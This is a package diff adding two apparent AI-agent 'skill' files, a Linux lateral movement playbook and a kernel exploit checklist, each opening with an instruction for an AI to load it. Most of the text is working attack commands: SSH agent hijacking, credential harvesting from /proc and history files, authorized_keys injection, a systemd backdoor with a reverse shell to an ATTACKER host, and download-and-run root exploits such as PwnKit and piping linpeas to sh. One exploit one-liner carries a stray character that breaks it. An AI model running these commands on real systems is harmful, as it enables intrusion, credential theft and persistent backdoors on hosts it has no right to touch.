ineedcodes 1.6.0 → 1.7.0

package/skills/linux-lateral-movement/SKILL.md

@@ -0,0 +1,348 @@
+---
+name: linux-lateral-movement
+description: >-
+  Linux lateral movement playbook. Use after gaining initial access to pivot across Linux hosts via SSH hijacking, credential harvesting, internal pivoting, D-Bus exploitation, sudo token reuse, and shared filesystem abuse.gated: true
+---
+
+# SKILL: Linux Lateral Movement — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Expert Linux lateral movement techniques. Covers SSH agent hijacking, key harvesting, credential locations, D-Bus exploitation, network pivoting, sudo token reuse, and systemd manipulation. Base models miss SSH_AUTH_SOCK hijacking and ptrace-based sudo session hijack.
+
+## 0. RELATED ROUTING
+
+Before going deep, consider loading:
+
+- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) if you need root on the current host before pivoting
+- [linux-security-bypass](../linux-security-bypass/SKILL.md) when restricted shells or security modules block lateral movement tools
+- [container-escape-techniques](../container-escape-techniques/SKILL.md) when the target network includes containerized hosts
+- [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) when pivoting into a Kubernetes cluster
+- [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) for exploiting discovered internal services (Redis, MongoDB, etc.)
+
+---
+
+## 1. SSH AGENT HIJACKING
+
+### 1.1 Find SSH Agent Sockets
+
+```bash
+# As root (or user with access to other users' processes):
+find /tmp -path "*/ssh-*" -name "agent.*" 2>/dev/null
+# Or via /proc:
+grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | tr '\0' '\n'
+
+# Typical path: /tmp/ssh-XXXXXX/agent.PID
+```
+
+### 1.2 Hijack Agent Forwarding
+
+```bash
+# Set the found socket as our auth agent
+export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf/agent.12345
+
+# List available keys in the agent
+ssh-add -l
+# If keys appear → we can use them
+
+# SSH to any host this agent can authenticate to
+ssh -o StrictHostKeyChecking=no user@internal-host
+
+# The agent owner won't notice — we're using their forwarded agent
+```
+
+### 1.3 Persistent Agent Monitoring
+
+```bash
+# Monitor for new SSH agent sockets (wait for admin to SSH in)
+inotifywait -m /tmp -e create 2>/dev/null | grep ssh-
+# Or poll:
+while true; do
+    find /tmp -path "*/ssh-*" -name "agent.*" -newer /tmp/.marker 2>/dev/null
+    touch /tmp/.marker
+    sleep 5
+done
+```
+
+---
+
+## 2. SSH KEY HARVESTING
+
+### 2.1 Private Key Locations
+
+```bash
+find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" -o -name "*.key" 2>/dev/null
+# Also: /etc/ssh/ssh_host_*_key (MITM), /home/*/.ssh/id_*
+
+# Find keys without passphrase:
+for key in $(find / -name "id_*" ! -name "*.pub" 2>/dev/null); do
+    ssh-keygen -y -P "" -f "$key" > /dev/null 2>&1 && echo "NO PASSPHRASE: $key"
+done
+```
+
+### 2.2 known_hosts Parsing
+
+```bash
+# Hashed known_hosts (common default):
+cat ~/.ssh/known_hosts
+# May be hashed — use ssh-keygen to check against known IPs:
+ssh-keygen -F 10.0.0.1 -f ~/.ssh/known_hosts
+
+# Unhashed known_hosts → direct IP/hostname list
+awk '{print $1}' ~/.ssh/known_hosts | sort -u
+
+# Extract all hostnames/IPs from all users' known_hosts
+cat /home/*/.ssh/known_hosts /root/.ssh/known_hosts 2>/dev/null \
+  | awk '{print $1}' | tr ',' '\n' | sort -u
+```
+
+### 2.3 authorized_keys Injection
+
+```bash
+# Generate attacker keypair (on attacker box)
+ssh-keygen -t ed25519 -f /tmp/pivot_key -N ""
+
+# Inject public key (on compromised host)
+echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys
+echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /home/admin/.ssh/authorized_keys
+
+# SSH back in with our key
+ssh -i /tmp/pivot_key root@target
+```
+
+---
+
+## 3. CREDENTIAL HARVESTING LOCATIONS
+
+### 3.1 System Credentials
+
+| Location | Contents | Command |
+|---|---|---|
+| `/etc/shadow` | Password hashes | `cat /etc/shadow` (root) |
+| `/etc/passwd` | User list, may contain hashes | `cat /etc/passwd` |
+| `.bash_history` | Command history (passwords in cleartext) | `cat /home/*/.bash_history` |
+| `.mysql_history` | MySQL commands with passwords | `cat /home/*/.mysql_history` |
+| `.psql_history` | PostgreSQL commands | `cat /home/*/.psql_history` |
+| `.pgpass` | PostgreSQL password file | `cat /home/*/.pgpass` |
+| `.my.cnf` | MySQL credentials | `cat /home/*/.my.cnf` |
+| `.netrc` | FTP/HTTP auto-login credentials | `cat /home/*/.netrc` |
+| `.git-credentials` | Git HTTPS passwords | `cat /home/*/.git-credentials` |
+
+### 3.2 Environment & Config Files
+
+```bash
+# Current process secrets
+env | grep -iE "pass|key|secret|token|api|cred|auth"
+
+# All process environments (root):
+for pid in /proc/[0-9]*; do
+    cat $pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret|token"
+done
+
+# Application configs (common credential locations):
+find /var/www /opt /srv -name "wp-config.php" -o -name "settings.py" \
+     -o -name "*.env" -o -name "database.yml" -o -name "docker-compose.yml" 2>/dev/null
+
+# Keyrings & secret stores:
+find / -name "*.keyring" -o -name ".vault-token" -o -path "*/.password-store/*.gpg" 2>/dev/null
+```
+
+---
+
+## 4. D-BUS EXPLOITATION
+
+### 4.1 Enumerate D-Bus Services
+
+```bash
+# List system bus services
+dbus-send --system --dest=org.freedesktop.DBus \
+  --type=method_call --print-reply \
+  /org/freedesktop/DBus org.freedesktop.DBus.ListNames
+
+# List session bus services
+dbus-send --session --dest=org.freedesktop.DBus \
+  --type=method_call --print-reply \
+  /org/freedesktop/DBus org.freedesktop.DBus.ListNames
+
+# Introspect a service (find available methods)
+dbus-send --system --dest=org.freedesktop.systemd1 \
+  --type=method_call --print-reply \
+  /org/freedesktop/systemd1 org.freedesktop.DBus.Introspectable.Introspect
+```
+
+### 4.2 Abuse systemd & PolicyKit via D-Bus
+
+```bash
+# Start a service via D-Bus (if policy allows):
+dbus-send --system --dest=org.freedesktop.systemd1 \
+  --type=method_call --print-reply /org/freedesktop/systemd1 \
+  org.freedesktop.systemd1.Manager.StartUnit \
+  string:"malicious.service" string:"replace"
+
+# polkit actions available without auth:
+pkaction --verbose 2>/dev/null | grep -B5 "implicit active: yes"
+```
+
+---
+
+## 5. INTERNAL NETWORK PIVOTING
+
+### 5.1 SSH Tunneling
+
+```bash
+# Local port forward: access INTERNAL_HOST:3306 via localhost:3306
+ssh -L 3306:INTERNAL_HOST:3306 pivot@compromised-host
+
+# Remote port forward: expose attacker service to internal network
+ssh -R 8080:ATTACKER:8080 pivot@compromised-host
+
+# Dynamic SOCKS proxy: route all traffic through pivot
+ssh -D 1080 pivot@compromised-host
+# Then: proxychains nmap -sT INTERNAL_RANGE
+
+# SSH over SSH (multi-hop):
+ssh -J user1@hop1,user2@hop2 target@final-host
+```
+
+### 5.2 Without SSH — Alternative Tunnels
+
+```bash
+# socat port forward
+socat TCP-LISTEN:8080,fork TCP:INTERNAL_HOST:80 &
+
+# ncat relay
+ncat -l -p 8080 --sh-exec "ncat INTERNAL_HOST 80"
+
+# /dev/tcp (Bash built-in, no tools needed)
+exec 3<>/dev/tcp/INTERNAL_HOST/80
+echo -e "GET / HTTP/1.0\r\nHost: INTERNAL_HOST\r\n\r\n" >&3
+cat <&3
+
+# chisel (SOCKS proxy over HTTP)
+# On attacker: chisel server -p 8080 --reverse
+# On target:   chisel client ATTACKER:8080 R:socks
+```
+
+### 5.3 Network Discovery from Compromised Host
+
+```bash
+ss -tlnp && ss -tnp                  # Listening & established connections
+arp -a && ip neigh                    # Known adjacent hosts
+cat /etc/resolv.conf                  # DNS servers
+dig axfr internal.domain @dns 2>/dev/null   # Zone transfer
+
+# Subnet sweep (bash-only, no tools):
+for i in $(seq 1 254); do ping -c1 -W1 10.0.0.$i &>/dev/null && echo "ALIVE: 10.0.0.$i" & done; wait
+
+# Port scan via /dev/tcp:
+for port in 22 80 443 3306 5432 6379 8080; do
+    (echo >/dev/tcp/10.0.0.1/$port) 2>/dev/null && echo "OPEN: $port"
+done
+```
+
+---
+
+## 6. SHARED FILESYSTEM EXPLOITATION
+
+### 6.1 NFS Mounts
+
+```bash
+# Discover NFS shares
+showmount -e FILESERVER_IP 2>/dev/null
+
+# Check for no_root_squash (root maps to root)
+mount -t nfs FILESERVER_IP:/share /mnt/nfs
+# If no_root_squash: create SUID binaries visible to other hosts
+
+# All hosts mounting the same share → SUID binary = root on all hosts
+cp /bin/bash /mnt/nfs/bash && chmod +s /mnt/nfs/bash
+```
+
+### 6.2 SMB/CIFS Shares
+
+```bash
+# Enumerate shares
+smbclient -L //FILESERVER_IP/ -N 2>/dev/null      # Null session
+smbclient -L //FILESERVER_IP/ -U 'user%password'
+
+# Mount and search for credentials
+mount -t cifs //FILESERVER_IP/share /mnt/smb -o username=user,password=pass
+find /mnt/smb -name "*.conf" -o -name "*.cfg" -o -name "*.kdbx" \
+     -o -name "*.xlsx" -o -name "*.docx" 2>/dev/null
+```
+
+---
+
+## 7. SUDO TOKEN REUSE (ptrace-Based)
+
+```bash
+# If another user has an active sudo session (timestamp not expired):
+# And we can ptrace their process (same UID or root)
+
+# Check sudo timestamp files:
+ls -la /var/run/sudo/ts/ 2>/dev/null
+ls -la /var/db/sudo/ 2>/dev/null
+# Files here mean active sudo tokens
+
+# ptrace-based hijack:
+# Attach to the user's shell process
+# Inject: sudo /bin/bash
+# The injected sudo inherits the valid timestamp → no password needed
+
+# Automated tool: sudo_inject
+# https://github.com/nongiach/sudo_inject
+# Injects into processes with valid sudo tokens
+```
+
+---
+
+## 8. SYSTEMD SERVICE MANIPULATION
+
+```bash
+# Find writable unit files:
+find /etc/systemd /usr/lib/systemd -writable -name "*.service" 2>/dev/null
+
+# Inject into existing service (add ExecStartPre=):
+# Or create new: /etc/systemd/system/backdoor.service
+# [Service] Type=oneshot ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
+systemctl daemon-reload && systemctl enable --now backdoor.service
+```
+
+---
+
+## 9. LATERAL MOVEMENT DECISION TREE
+
+```
+Compromised host — where to move next?
+│
+├── SSH credentials available?
+│   ├── Private keys found? → try on all known_hosts targets (§2)
+│   ├── SSH agent running? → hijack socket (§1)
+│   ├── Passwords in history/configs? → spray across hosts (§3)
+│   └── authorized_keys writable on other hosts? → inject key (§2.3)
+│
+├── Network services discovered?
+│   ├── Internal web apps? → tunnel + attack (§5.1)
+│   ├── Databases (3306/5432/6379)? → check harvested creds (§3)
+│   ├── SMB/NFS shares? → mount + search for creds/SUID (§6)
+│   └── Kubernetes API (6443)? → load kubernetes-pentesting skill
+│
+├── Can reach other hosts?
+│   ├── Direct SSH? → use keys/passwords
+│   ├── Firewalled? → SSH tunnel or chisel (§5)
+│   └── No tools? → /dev/tcp + bash (§5.2)
+│
+├── Root on current host?
+│   ├── Read /etc/shadow → crack hashes → password reuse (§3)
+│   ├── Dump /proc/*/environ → find service credentials (§3.2)
+│   ├── Hijack sudo tokens → piggyback admin sessions (§7)
+│   └── Modify systemd services → backdoor (§8)
+│
+├── D-Bus services available?
+│   ├── Privileged services exposed? → method call abuse (§4)
+│   └── polkit actions without auth? → privilege actions (§4.3)
+│
+└── No obvious path?
+    ├── ARP scan + port sweep internal network (§5.3)
+    ├── Passive credential sniffing (if cap_net_raw)
+    ├── Wait for admin SSH → agent hijack (§1.3)
+    └── Check for cloud metadata (169.254.169.254)
+```

package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md

@@ -0,0 +1,260 @@
+# Kernel Exploits Checklist
+
+> **AI LOAD INSTRUCTION**: Load this when the target has an outdated kernel and you need to map kernel version to known exploits. Covers DirtyPipe, DirtyCow, OverlayFS, nf_tables, io_uring, Netfilter, and more. Includes compilation tips, cross-compilation, static linking, and stability notes. Assumes the main [SKILL.md](./SKILL.md) is already loaded.
+
+---
+
+## 1. KERNEL VERSION → EXPLOIT MAPPING TABLE
+
+### 1.1 Critical Kernel Exploits (2016–2024)
+
+| Exploit Name | CVE | Kernel Range | Impact | Stability |
+|---|---|---|---|---|
+| **DirtyCow** | CVE-2016-5195 | 2.6.22 – 4.8.3 | Write to read-only memory → overwrite `/etc/passwd` | ⚠️ May crash if using `write()` variant; prefer `madvise()` variant |
+| **DirtyPipe** | CVE-2022-0847 | 5.8 – 5.16.10 | Overwrite any readable file (even read-only) | ✅ Very stable — splice-based, no race condition |
+| **OverlayFS (Ubuntu)** | CVE-2021-3493 | 4.x – 5.11 (Ubuntu-specific) | User namespace + overlayfs unvalidated capabilities | ✅ Stable on affected Ubuntu versions |
+| **OverlayFS (2023)** | CVE-2023-0386 | 5.11 – 6.2 | SUID copy via overlayfs | ✅ Reliable |
+| **nf_tables** | CVE-2023-32233 | 5.x – 6.3.1 | UAF in nf_tables → root | ⚠️ May need tuning; depends on netfilter config |
+| **nf_tables (batch)** | CVE-2024-1086 | 5.14 – 6.6.14 | Netfilter nf_tables double-free | ✅ Public exploit, high reliability |
+| **io_uring** | CVE-2023-2598 | 5.7 – 6.3.1 | io_uring fixed buffer UAF | ⚠️ Complex; requires io_uring enabled |
+| **io_uring** | CVE-2024-0582 | 6.4 – 6.7.1 | io_uring PBUF ring UAF | ✅ Reliable on affected versions |
+| **Netfilter (nft)** | CVE-2022-34918 | 5.8 – 5.18.9 | Heap overflow in nft_set | ⚠️ Heap-dependent |
+| **pkexec (PwnKit)** | CVE-2021-4034 | Any with polkit ≤ 0.120 | Polkit pkexec SUID local root | ✅ Extremely stable — works on almost all distros |
+| **sudo Baron Samedit** | CVE-2021-3156 | sudo 1.8.2 – 1.8.31p2, 1.9.0 – 1.9.5p1 | Heap overflow in sudo | ✅ Reliable — multiple public exploits |
+| **Looney Tunables** | CVE-2023-4911 | glibc 2.34 – 2.38 | Buffer overflow in ld.so GLIBC_TUNABLES | ✅ Reliable on Fedora/Ubuntu |
+| **GameOver(lay)** | CVE-2023-2640 + CVE-2023-32629 | Ubuntu 5.15 – 6.2 (Ubuntu-specific) | OverlayFS + capabilities | ✅ Single command exploit on Ubuntu |
+
+### 1.2 Older Kernel Exploits (Pre-2016)
+
+| Exploit Name | CVE | Kernel Range | Notes |
+|---|---|---|---|
+| **Full Nelson** | CVE-2010-4258 | 2.6.31 – 2.6.36 | econet + proto_ops |
+| **Mempodipper** | CVE-2012-0056 | 3.0.0 – 3.0.18 | proc mem write |
+| **perf_swevent** | CVE-2013-2094 | 2.6.37 – 3.8.8 | Perf subsystem |
+| **Dirty COW (original)** | CVE-2016-5195 | 2.6.22+ | See above |
+| **AF_PACKET** | CVE-2017-7308 | 4.x – 4.10.6 | TPACKET_V3 ring buffer |
+| **KASLR bypass + ptrace** | CVE-2017-1000112 | 4.x – 4.13 | UDP fragmentation |
+
+### 1.3 Container-Relevant Kernel Exploits
+
+| Exploit | CVE | Container Escape? | Notes |
+|---|---|---|---|
+| DirtyPipe | CVE-2022-0847 | ✅ | Overwrite `/etc/passwd` on host via `/proc/1/root` if PID namespace shared |
+| OverlayFS | CVE-2023-0386 | ✅ | With overlayfs in user namespace |
+| nf_tables | CVE-2024-1086 | ⚠️ | Only if CAP_NET_ADMIN available in container |
+| runc | CVE-2019-5736 | ✅ | Overwrite runc binary on host |
+| cgroups | CVE-2022-0492 | ✅ | cgroup v1 release_agent |
+
+---
+
+## 2. EXPLOIT COMPILATION TIPS
+
+### 2.1 On-Target Compilation
+
+```bash
+# Check if gcc/cc is available
+which gcc cc
+
+# Simple compilation
+gcc exploit.c -o exploit -static
+# -static: include all libraries — avoids version mismatch
+
+# If no gcc, check for alternatives:
+which musl-gcc    # Alpine/minimal systems
+which clang
+which tcc         # Tiny C Compiler
+```
+
+### 2.2 Cross-Compilation (on Attacker Box)
+
+```bash
+# For x86_64 target:
+gcc -static -o exploit_x64 exploit.c
+
+# For x86 (32-bit) target:
+gcc -m32 -static -o exploit_x86 exploit.c
+
+# For ARM (Raspberry Pi, embedded):
+arm-linux-gnueabihf-gcc -static -o exploit_arm exploit.c
+
+# For AARCH64:
+aarch64-linux-gnu-gcc -static -o exploit_arm64 exploit.c
+
+# For MIPS (routers, IoT):
+mipsel-linux-gnu-gcc -static -o exploit_mips exploit.c
+
+# Install cross-compilers (Debian/Ubuntu):
+apt install gcc-arm-linux-gnueabihf gcc-aarch64-linux-gnu gcc-mipsel-linux-gnu
+```
+
+### 2.3 Musl Static Linking (Smallest Binaries)
+
+```bash
+# Install musl cross-compiler
+apt install musl-tools
+
+# Compile static binary with musl (much smaller than glibc static)
+musl-gcc -static -o exploit exploit.c
+```
+
+### 2.4 Go / Rust Exploits (Pre-Compiled)
+
+```bash
+# Many modern exploits are in Go — compile statically:
+CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o exploit .
+
+# Rust:
+RUSTFLAGS='-C target-feature=+crt-static' cargo build --release --target x86_64-unknown-linux-musl
+```
+
+---
+
+## 3. KERNEL EXPLOIT STABILITY NOTES
+
+### 3.1 Stability Tiers
+
+| Tier | Description | Examples |
+|---|---|---|
+| **Tier 1 — Reliable** | Deterministic, no race, works consistently | DirtyPipe, PwnKit, GameOver(lay) |
+| **Tier 2 — Usually Works** | Minor timing or heap layout dependency | DirtyCow (madvise), Baron Samedit, Looney Tunables |
+| **Tier 3 — Fragile** | Heap spraying, race-dependent, may crash | nf_tables (older), AF_PACKET, io_uring variants |
+
+### 3.2 Pre-Exploit Checklist
+
+```
+Before running a kernel exploit:
+│
+├── 1. Verify kernel version matches exactly
+│   ├── uname -r
+│   ├── cat /proc/version
+│   └── Compare with exploit's documented range
+│
+├── 2. Check architecture
+│   ├── uname -m       # x86_64, aarch64, armv7l
+│   └── file /bin/ls   # ELF 64-bit / 32-bit
+│
+├── 3. Check distro-specific patches
+│   ├── Ubuntu/Debian: dpkg -l linux-image-$(uname -r)
+│   ├── RHEL/CentOS: rpm -q kernel-$(uname -r)
+│   └── Backported fixes may not change version number!
+│
+├── 4. Assess stability risk
+│   ├── Tier 1 → safe to run
+│   ├── Tier 2 → run, may need 2-3 attempts
+│   └── Tier 3 → run only as last resort; may crash/panic
+│
+├── 5. Verify security modules
+│   ├── SELinux: getenforce / sestatus
+│   ├── AppArmor: aa-status / cat /sys/module/apparmor/parameters/enabled
+│   └── seccomp: grep Seccomp /proc/self/status
+│
+└── 6. Set up persistence BEFORE running (in case of crash)
+    ├── SSH key in ~/.ssh/authorized_keys
+    ├── Reverse shell cron job
+    └── Save current shell state
+```
+
+### 3.3 Common Failure Modes
+
+| Failure | Cause | Mitigation |
+|---|---|---|
+| Kernel panic / reboot | Race condition lost, memory corruption | Use Tier 1 exploits first; retry with modified parameters |
+| `Operation not permitted` | SELinux/AppArmor blocking | Check security module status; try bypass techniques |
+| `No such file or directory` | Missing kernel feature (io_uring, nftables) | `ls /proc/sys/` or `lsmod` to verify feature availability |
+| Exploit runs but no root | Distro backported patch | Check package version, not just kernel version |
+| `SIGKILL` during exploit | seccomp filter killing syscalls | Check `/proc/self/status` Seccomp field |
+
+---
+
+## 4. SPECIFIC EXPLOIT QUICK REFERENCES
+
+### 4.1 DirtyPipe (CVE-2022-0847)
+
+```bash
+# Check: kernel 5.8 – 5.16.10
+uname -r
+
+# Exploit (overwrite /etc/passwd):
+./dirtypipe /etc/passwd 1 '${root_line}'
+# Or use the SUID variant: overwrites a SUID binary temporarily
+./dirtypipez    # automated — spawns root shell
+
+# Very stable — no race condition, uses splice()
+```
+
+### 4.2 PwnKit (CVE-2021-4034)
+
+```bash
+# Check: pkexec must be SUID (almost always is)
+ls -la /usr/bin/pkexec
+
+# Exploit:
+# Most public PoCs are single-command:
+curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
+chmod +x PwnKit && ./PwnKit
+
+# Or compile from source:
+gcc cve-2021-4034.c -o pwnkit
+./pwnkit
+```
+
+### 4.3 GameOver(lay) (CVE-2023-2640 + CVE-2023-32629)
+
+```bash
+# Ubuntu-specific (5.15 – 6.2 Ubuntu kernels)
+# One-liner:
+unshare -rm sh -c "
+  mkdir l u w m &&
+  cp /u*/b*/p]asswd l/;
+  setcap cap_setuid+eip l/passwd;
+  mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
+  touch m/*;" &&
+u/passwd
+```
+
+### 4.4 DirtyCow (CVE-2016-5195)
+
+```bash
+# Check: kernel < 4.8.3
+uname -r
+
+# Preferred variant (madvise — more stable):
+gcc -pthread dirtycow-mem.c -o dcow -lcrypt
+./dcow
+# Modifies /etc/passwd in memory; may need revert after
+
+# IMPORTANT: some variants can cause system instability
+# Always prefer the madvise variant over the write() variant
+```
+
+### 4.5 Baron Samedit (CVE-2021-3156)
+
+```bash
+# Check sudo version:
+sudo --version
+# Vulnerable: 1.8.2 – 1.8.31p2, 1.9.0 – 1.9.5p1
+
+# Quick test (should trigger error, not usage):
+sudoedit -s '\' $(python3 -c 'print("A"*1000)')
+# If "malloc(): memory corruption" → likely vulnerable
+
+# Compile and run exploit (multiple variants available)
+```
+
+---
+
+## 5. AUTOMATED KERNEL EXPLOIT SUGGESTION
+
+```bash
+# linux-exploit-suggester (shell script — no compilation needed)
+wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
+chmod +x linux-exploit-suggester.sh
+./linux-exploit-suggester.sh
+
+# linux-exploit-suggester-2 (Perl)
+wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
+perl linux-exploit-suggester-2.pl
+
+# LinPEAS also checks for kernel exploits
+curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
+```